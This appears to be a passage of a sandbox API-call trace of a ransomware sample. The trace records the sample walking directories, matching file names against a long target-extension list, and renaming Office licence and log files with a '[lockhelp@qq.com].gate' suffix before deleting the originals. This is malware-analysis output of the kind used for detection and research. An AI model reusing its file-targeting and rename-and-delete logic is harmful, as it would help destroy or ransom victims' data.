[0318.072] CloseHandle (hObject=0x3b0) returned 1 [0318.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0318.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.918] lstrlenW (lpString=".doc") returned 4 [0318.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.918] lstrlenW (lpString=".docx") returned 5 [0318.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.918] lstrlenW (lpString=".pdf") returned 4 [0318.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.918] lstrlenW (lpString=".xls") returned 4 [0318.918] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.918] lstrlenW (lpString=".xlsx") returned 5 [0318.918] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.919] lstrlenW (lpString=".ppt") returned 4 [0318.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.919] lstrlenW (lpString=".zip") returned 4 [0318.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString=".rar") returned 4 [0318.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString=".bz2") returned 4 [0318.919] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString=".7z") returned 3 [0318.919] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.919] lstrlenW (lpString=".dbf") returned 4 [0318.919] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.919] lstrlenW (lpString=".1cd") returned 4 [0318.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0318.919] lstrlenW (lpString=".jpg") returned 4 [0318.919] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.919] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7405a0 | out: hHeap=0x6e0000) returned 1 [0318.919] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c1d0 | out: hHeap=0x6e0000) returned 1 [0318.919] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f76500 | out: hHeap=0x6e0000) returned 1 [0318.920] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x44f0048 | out: hHeap=0x6e0000) returned 1 [0318.920] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x46fd020 | out: hHeap=0x6e0000) returned 1 [0318.924] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740498 | out: hHeap=0x6e0000) returned 1 [0318.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b4d0 [0318.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b4d0, Size=0x20) returned 0x7dde30 [0318.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b260 [0318.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b260, Size=0x20) returned 0x7dde58 [0318.925] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.925] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.925] Wow64DisableWow64FsRedirection (in: OldValue=0x3b3ff50 | out: OldValue=0x3b3ff50*=0x1) returned 1 [0318.925] lstrlenW (lpString="kernel32.dll") returned 12 [0318.925] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dde58 | out: hHeap=0x6e0000) returned 1 [0318.925] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.925] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dde30 | out: hHeap=0x6e0000) returned 1 Thread: id = 62 os_tid = 0xee0 [0272.302] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4500868 [0272.302] lstrlenW (lpString="C:") returned 2 [0272.302] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3c7fcf8 | out: lpFindFileData=0x3c7fcf8) returned 0x77d3e8 [0272.302] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0272.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0272.303] lstrlenW (lpString="$GetCurrent") returned 11 [0272.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0272.303] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4510870 [0272.303] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0272.303] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0x77d228 [0272.303] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.303] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.303] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0272.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0272.303] lstrlenW (lpString="Logs") returned 4 [0272.303] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0272.303] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4521880 [0272.304] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0272.304] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d768 [0272.305] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.305] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.305] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate") returned 72 [0272.305] lstrlenW (lpString=".1cd") returned 4 [0272.305] lstrcmpiW (lpString1=".1cd", lpString2="gate") returned -1 [0272.305] lstrlenW (lpString=".3ds") returned 4 [0272.305] lstrcmpiW (lpString1=".3ds", lpString2="gate") returned -1 [0272.305] lstrlenW (lpString=".3fr") returned 4 [0272.305] lstrcmpiW (lpString1=".3fr", lpString2="gate") returned -1 [0272.305] lstrlenW (lpString=".3g2") returned 4 [0272.305] lstrcmpiW (lpString1=".3g2", lpString2="gate") returned -1 [0272.305] lstrlenW (lpString=".3gp") returned 4 [0272.305] lstrcmpiW (lpString1=".3gp", lpString2="gate") returned -1 [0272.305] lstrlenW (lpString=".7z") returned 3 [0272.305] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0272.305] lstrlenW (lpString=".accda") returned 6 [0272.305] lstrcmpiW (lpString1=".accda", lpString2="].gate") returned -1 [0272.305] lstrlenW (lpString=".accdb") returned 6 [0272.305] lstrcmpiW (lpString1=".accdb", lpString2="].gate") returned -1 [0272.305] lstrlenW (lpString=".accdc") returned 6 [0272.305] lstrcmpiW (lpString1=".accdc", lpString2="].gate") returned -1 [0272.306] lstrlenW (lpString=".accde") returned 6 [0272.306] lstrcmpiW (lpString1=".accde", lpString2="].gate") returned -1 [0272.306] lstrlenW (lpString=".accdt") returned 6 [0272.306] lstrcmpiW (lpString1=".accdt", lpString2="].gate") returned -1 [0272.306] lstrlenW (lpString=".accdw") returned 6 [0272.306] lstrcmpiW (lpString1=".accdw", lpString2="].gate") returned -1 [0272.306] lstrlenW (lpString=".adb") returned 4 [0272.306] lstrcmpiW (lpString1=".adb", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".adp") returned 4 [0272.306] lstrcmpiW (lpString1=".adp", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai") returned 3 [0272.306] lstrcmpiW (lpString1=".ai", lpString2="ate") returned -1 [0272.306] lstrlenW (lpString=".ai3") returned 4 [0272.306] lstrcmpiW (lpString1=".ai3", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai4") returned 4 [0272.306] lstrcmpiW (lpString1=".ai4", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai5") returned 4 [0272.306] lstrcmpiW (lpString1=".ai5", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai6") returned 4 [0272.306] lstrcmpiW (lpString1=".ai6", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai7") returned 4 [0272.306] lstrcmpiW (lpString1=".ai7", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".ai8") returned 4 [0272.306] lstrcmpiW (lpString1=".ai8", lpString2="gate") returned -1 [0272.306] lstrlenW (lpString=".anim") returned 5 [0272.306] lstrcmpiW (lpString1=".anim", lpString2=".gate") returned -1 [0272.306] lstrlenW (lpString=".arw") returned 4 [0272.307] lstrcmpiW (lpString1=".arw", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".as") returned 3 [0272.307] lstrcmpiW (lpString1=".as", lpString2="ate") returned -1 [0272.307] lstrlenW (lpString=".asa") returned 4 [0272.307] lstrcmpiW (lpString1=".asa", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".asc") returned 4 [0272.307] lstrcmpiW (lpString1=".asc", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".ascx") returned 5 [0272.307] lstrcmpiW (lpString1=".ascx", lpString2=".gate") returned -1 [0272.307] lstrlenW (lpString=".asm") returned 4 [0272.307] lstrcmpiW (lpString1=".asm", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".asmx") returned 5 [0272.307] lstrcmpiW (lpString1=".asmx", lpString2=".gate") returned -1 [0272.307] lstrlenW (lpString=".asp") returned 4 [0272.307] lstrcmpiW (lpString1=".asp", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".aspx") returned 5 [0272.307] lstrcmpiW (lpString1=".aspx", lpString2=".gate") returned -1 [0272.307] lstrlenW (lpString=".asr") returned 4 [0272.307] lstrcmpiW (lpString1=".asr", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".asx") returned 4 [0272.307] lstrcmpiW (lpString1=".asx", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".avi") returned 4 [0272.307] lstrcmpiW (lpString1=".avi", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".avs") returned 4 [0272.307] lstrcmpiW (lpString1=".avs", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".backup") returned 7 [0272.307] lstrcmpiW (lpString1=".backup", lpString2="m].gate") returned -1 [0272.307] lstrlenW (lpString=".bak") returned 4 [0272.307] lstrcmpiW (lpString1=".bak", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".bay") returned 4 [0272.307] lstrcmpiW (lpString1=".bay", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".bd") returned 3 [0272.307] lstrcmpiW (lpString1=".bd", lpString2="ate") returned -1 [0272.307] lstrlenW (lpString=".bin") returned 4 [0272.307] lstrcmpiW (lpString1=".bin", lpString2="gate") returned -1 [0272.307] lstrlenW (lpString=".bmp") returned 4 [0272.308] lstrcmpiW (lpString1=".bmp", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".bz2") returned 4 [0272.308] lstrcmpiW (lpString1=".bz2", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".c") returned 2 [0272.308] lstrcmpiW (lpString1=".c", lpString2="te") returned -1 [0272.308] lstrlenW (lpString=".cdr") returned 4 [0272.308] lstrcmpiW (lpString1=".cdr", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".cer") returned 4 [0272.308] lstrcmpiW (lpString1=".cer", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".cf") returned 3 [0272.308] lstrcmpiW (lpString1=".cf", lpString2="ate") returned -1 [0272.308] lstrlenW (lpString=".cfc") returned 4 [0272.308] lstrcmpiW (lpString1=".cfc", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".cfm") returned 4 [0272.308] lstrcmpiW (lpString1=".cfm", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".cfml") returned 5 [0272.308] lstrcmpiW (lpString1=".cfml", lpString2=".gate") returned -1 [0272.308] lstrlenW (lpString=".cfu") returned 4 [0272.308] lstrcmpiW (lpString1=".cfu", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".chm") returned 4 [0272.308] lstrcmpiW (lpString1=".chm", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".cin") returned 4 [0272.308] lstrcmpiW (lpString1=".cin", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".class") returned 6 [0272.308] lstrcmpiW (lpString1=".class", lpString2="].gate") returned -1 [0272.308] lstrlenW (lpString=".clx") returned 4 [0272.308] lstrcmpiW (lpString1=".clx", lpString2="gate") returned -1 [0272.308] lstrlenW (lpString=".config") returned 7 [0272.308] lstrcmpiW (lpString1=".config", lpString2="m].gate") returned -1 [0272.308] lstrlenW (lpString=".cpp") returned 4 [0272.309] lstrcmpiW (lpString1=".cpp", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".cr2") returned 4 [0272.309] lstrcmpiW (lpString1=".cr2", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".crt") returned 4 [0272.309] lstrcmpiW (lpString1=".crt", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".crw") returned 4 [0272.309] lstrcmpiW (lpString1=".crw", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".cs") returned 3 [0272.309] lstrcmpiW (lpString1=".cs", lpString2="ate") returned -1 [0272.309] lstrlenW (lpString=".css") returned 4 [0272.309] lstrcmpiW (lpString1=".css", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".csv") returned 4 [0272.309] lstrcmpiW (lpString1=".csv", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".cub") returned 4 [0272.309] lstrcmpiW (lpString1=".cub", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dae") returned 4 [0272.309] lstrcmpiW (lpString1=".dae", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dat") returned 4 [0272.309] lstrcmpiW (lpString1=".dat", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".db") returned 3 [0272.309] lstrcmpiW (lpString1=".db", lpString2="ate") returned -1 [0272.309] lstrlenW (lpString=".dbf") returned 4 [0272.309] lstrcmpiW (lpString1=".dbf", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dbx") returned 4 [0272.309] lstrcmpiW (lpString1=".dbx", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dc3") returned 4 [0272.309] lstrcmpiW (lpString1=".dc3", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dcm") returned 4 [0272.309] lstrcmpiW (lpString1=".dcm", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".dcr") returned 4 [0272.309] lstrcmpiW (lpString1=".dcr", lpString2="gate") returned -1 [0272.309] lstrlenW (lpString=".der") returned 4 [0272.309] lstrcmpiW (lpString1=".der", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dib") returned 4 [0272.310] lstrcmpiW (lpString1=".dib", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dic") returned 4 [0272.310] lstrcmpiW (lpString1=".dic", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dif") returned 4 [0272.310] lstrcmpiW (lpString1=".dif", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".divx") returned 5 [0272.310] lstrcmpiW (lpString1=".divx", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".djvu") returned 5 [0272.310] lstrcmpiW (lpString1=".djvu", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".dng") returned 4 [0272.310] lstrcmpiW (lpString1=".dng", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".doc") returned 4 [0272.310] lstrcmpiW (lpString1=".doc", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".docm") returned 5 [0272.310] lstrcmpiW (lpString1=".docm", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".docx") returned 5 [0272.310] lstrcmpiW (lpString1=".docx", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".dot") returned 4 [0272.310] lstrcmpiW (lpString1=".dot", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dotm") returned 5 [0272.310] lstrcmpiW (lpString1=".dotm", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".dotx") returned 5 [0272.310] lstrcmpiW (lpString1=".dotx", lpString2=".gate") returned -1 [0272.310] lstrlenW (lpString=".dpx") returned 4 [0272.310] lstrcmpiW (lpString1=".dpx", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dqy") returned 4 [0272.310] lstrcmpiW (lpString1=".dqy", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dsn") returned 4 [0272.310] lstrcmpiW (lpString1=".dsn", lpString2="gate") returned -1 [0272.310] lstrlenW (lpString=".dt") returned 3 [0272.311] lstrcmpiW (lpString1=".dt", lpString2="ate") returned -1 [0272.311] lstrlenW (lpString=".dtd") returned 4 [0272.311] lstrcmpiW (lpString1=".dtd", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".dwg") returned 4 [0272.311] lstrcmpiW (lpString1=".dwg", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".dwt") returned 4 [0272.311] lstrcmpiW (lpString1=".dwt", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".dx") returned 3 [0272.311] lstrcmpiW (lpString1=".dx", lpString2="ate") returned -1 [0272.311] lstrlenW (lpString=".dxf") returned 4 [0272.311] lstrcmpiW (lpString1=".dxf", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".edml") returned 5 [0272.311] lstrcmpiW (lpString1=".edml", lpString2=".gate") returned -1 [0272.311] lstrlenW (lpString=".efd") returned 4 [0272.311] lstrcmpiW (lpString1=".efd", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".elf") returned 4 [0272.311] lstrcmpiW (lpString1=".elf", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".emf") returned 4 [0272.311] lstrcmpiW (lpString1=".emf", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".emz") returned 4 [0272.311] lstrcmpiW (lpString1=".emz", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".epf") returned 4 [0272.311] lstrcmpiW (lpString1=".epf", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".eps") returned 4 [0272.311] lstrcmpiW (lpString1=".eps", lpString2="gate") returned -1 [0272.311] lstrlenW (lpString=".epsf") returned 5 [0272.311] lstrcmpiW (lpString1=".epsf", lpString2=".gate") returned -1 [0272.311] lstrlenW (lpString=".epsp") returned 5 [0272.311] lstrcmpiW (lpString1=".epsp", lpString2=".gate") returned -1 [0272.311] lstrlenW (lpString=".erf") returned 4 [0272.311] lstrcmpiW (lpString1=".erf", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".exr") returned 4 [0272.312] lstrcmpiW (lpString1=".exr", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".f4v") returned 4 [0272.312] lstrcmpiW (lpString1=".f4v", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".fido") returned 5 [0272.312] lstrcmpiW (lpString1=".fido", lpString2=".gate") returned -1 [0272.312] lstrlenW (lpString=".flm") returned 4 [0272.312] lstrcmpiW (lpString1=".flm", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".flv") returned 4 [0272.312] lstrcmpiW (lpString1=".flv", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".frm") returned 4 [0272.312] lstrcmpiW (lpString1=".frm", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".fxg") returned 4 [0272.312] lstrcmpiW (lpString1=".fxg", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".geo") returned 4 [0272.312] lstrcmpiW (lpString1=".geo", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".gif") returned 4 [0272.312] lstrcmpiW (lpString1=".gif", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".grs") returned 4 [0272.312] lstrcmpiW (lpString1=".grs", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".gz") returned 3 [0272.312] lstrcmpiW (lpString1=".gz", lpString2="ate") returned -1 [0272.312] lstrlenW (lpString=".h") returned 2 [0272.312] lstrcmpiW (lpString1=".h", lpString2="te") returned -1 [0272.312] lstrlenW (lpString=".hdr") returned 4 [0272.312] lstrcmpiW (lpString1=".hdr", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".hpp") returned 4 [0272.312] lstrcmpiW (lpString1=".hpp", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".hta") returned 4 [0272.312] lstrcmpiW (lpString1=".hta", lpString2="gate") returned -1 [0272.312] lstrlenW (lpString=".htc") returned 4 [0272.313] lstrcmpiW (lpString1=".htc", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".htm") returned 4 [0272.313] lstrcmpiW (lpString1=".htm", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".html") returned 5 [0272.313] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0272.313] lstrlenW (lpString=".icb") returned 4 [0272.313] lstrcmpiW (lpString1=".icb", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".ics") returned 4 [0272.313] lstrcmpiW (lpString1=".ics", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".iff") returned 4 [0272.313] lstrcmpiW (lpString1=".iff", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".inc") returned 4 [0272.313] lstrcmpiW (lpString1=".inc", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".indd") returned 5 [0272.313] lstrcmpiW (lpString1=".indd", lpString2=".gate") returned 1 [0272.313] lstrlenW (lpString=".ini") returned 4 [0272.313] lstrcmpiW (lpString1=".ini", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".iqy") returned 4 [0272.313] lstrcmpiW (lpString1=".iqy", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".j2c") returned 4 [0272.313] lstrcmpiW (lpString1=".j2c", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".j2k") returned 4 [0272.313] lstrcmpiW (lpString1=".j2k", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".java") returned 5 [0272.313] lstrcmpiW (lpString1=".java", lpString2=".gate") returned 1 [0272.313] lstrlenW (lpString=".jp2") returned 4 [0272.313] lstrcmpiW (lpString1=".jp2", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".jpc") returned 4 [0272.313] lstrcmpiW (lpString1=".jpc", lpString2="gate") returned -1 [0272.313] lstrlenW (lpString=".jpe") returned 4 [0272.314] lstrcmpiW (lpString1=".jpe", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".jpeg") returned 5 [0272.314] lstrcmpiW (lpString1=".jpeg", lpString2=".gate") returned 1 [0272.314] lstrlenW (lpString=".jpf") returned 4 [0272.314] lstrcmpiW (lpString1=".jpf", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".jpg") returned 4 [0272.314] lstrcmpiW (lpString1=".jpg", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".jpx") returned 4 [0272.314] lstrcmpiW (lpString1=".jpx", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".js") returned 3 [0272.314] lstrcmpiW (lpString1=".js", lpString2="ate") returned -1 [0272.314] lstrlenW (lpString=".jsf") returned 4 [0272.314] lstrcmpiW (lpString1=".jsf", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".json") returned 5 [0272.314] lstrcmpiW (lpString1=".json", lpString2=".gate") returned 1 [0272.314] lstrlenW (lpString=".jsp") returned 4 [0272.314] lstrcmpiW (lpString1=".jsp", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".kdc") returned 4 [0272.314] lstrcmpiW (lpString1=".kdc", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".kmz") returned 4 [0272.314] lstrcmpiW (lpString1=".kmz", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".kwm") returned 4 [0272.314] lstrcmpiW (lpString1=".kwm", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".lasso") returned 6 [0272.314] lstrcmpiW (lpString1=".lasso", lpString2="].gate") returned -1 [0272.314] lstrlenW (lpString=".lbi") returned 4 [0272.314] lstrcmpiW (lpString1=".lbi", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".lgf") returned 4 [0272.314] lstrcmpiW (lpString1=".lgf", lpString2="gate") returned -1 [0272.314] lstrlenW (lpString=".lgp") returned 4 [0272.314] lstrcmpiW (lpString1=".lgp", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".log") returned 4 [0272.315] lstrcmpiW (lpString1=".log", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".m1v") returned 4 [0272.315] lstrcmpiW (lpString1=".m1v", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".m4a") returned 4 [0272.315] lstrcmpiW (lpString1=".m4a", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".m4v") returned 4 [0272.315] lstrcmpiW (lpString1=".m4v", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".max") returned 4 [0272.315] lstrcmpiW (lpString1=".max", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".md") returned 3 [0272.315] lstrcmpiW (lpString1=".md", lpString2="ate") returned -1 [0272.315] lstrlenW (lpString=".mda") returned 4 [0272.315] lstrcmpiW (lpString1=".mda", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mdb") returned 4 [0272.315] lstrcmpiW (lpString1=".mdb", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mde") returned 4 [0272.315] lstrcmpiW (lpString1=".mde", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mdf") returned 4 [0272.315] lstrcmpiW (lpString1=".mdf", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mdw") returned 4 [0272.315] lstrcmpiW (lpString1=".mdw", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mef") returned 4 [0272.315] lstrcmpiW (lpString1=".mef", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mft") returned 4 [0272.315] lstrcmpiW (lpString1=".mft", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mfw") returned 4 [0272.315] lstrcmpiW (lpString1=".mfw", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mht") returned 4 [0272.315] lstrcmpiW (lpString1=".mht", lpString2="gate") returned -1 [0272.315] lstrlenW (lpString=".mhtml") returned 6 [0272.316] lstrcmpiW (lpString1=".mhtml", lpString2="].gate") returned -1 [0272.316] lstrlenW (lpString=".mka") returned 4 [0272.316] lstrcmpiW (lpString1=".mka", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mkidx") returned 6 [0272.316] lstrcmpiW (lpString1=".mkidx", lpString2="].gate") returned -1 [0272.316] lstrlenW (lpString=".mkv") returned 4 [0272.316] lstrcmpiW (lpString1=".mkv", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mos") returned 4 [0272.316] lstrcmpiW (lpString1=".mos", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mov") returned 4 [0272.316] lstrcmpiW (lpString1=".mov", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mp3") returned 4 [0272.316] lstrcmpiW (lpString1=".mp3", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mp4") returned 4 [0272.316] lstrcmpiW (lpString1=".mp4", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mpeg") returned 5 [0272.316] lstrcmpiW (lpString1=".mpeg", lpString2=".gate") returned 1 [0272.316] lstrlenW (lpString=".mpg") returned 4 [0272.316] lstrcmpiW 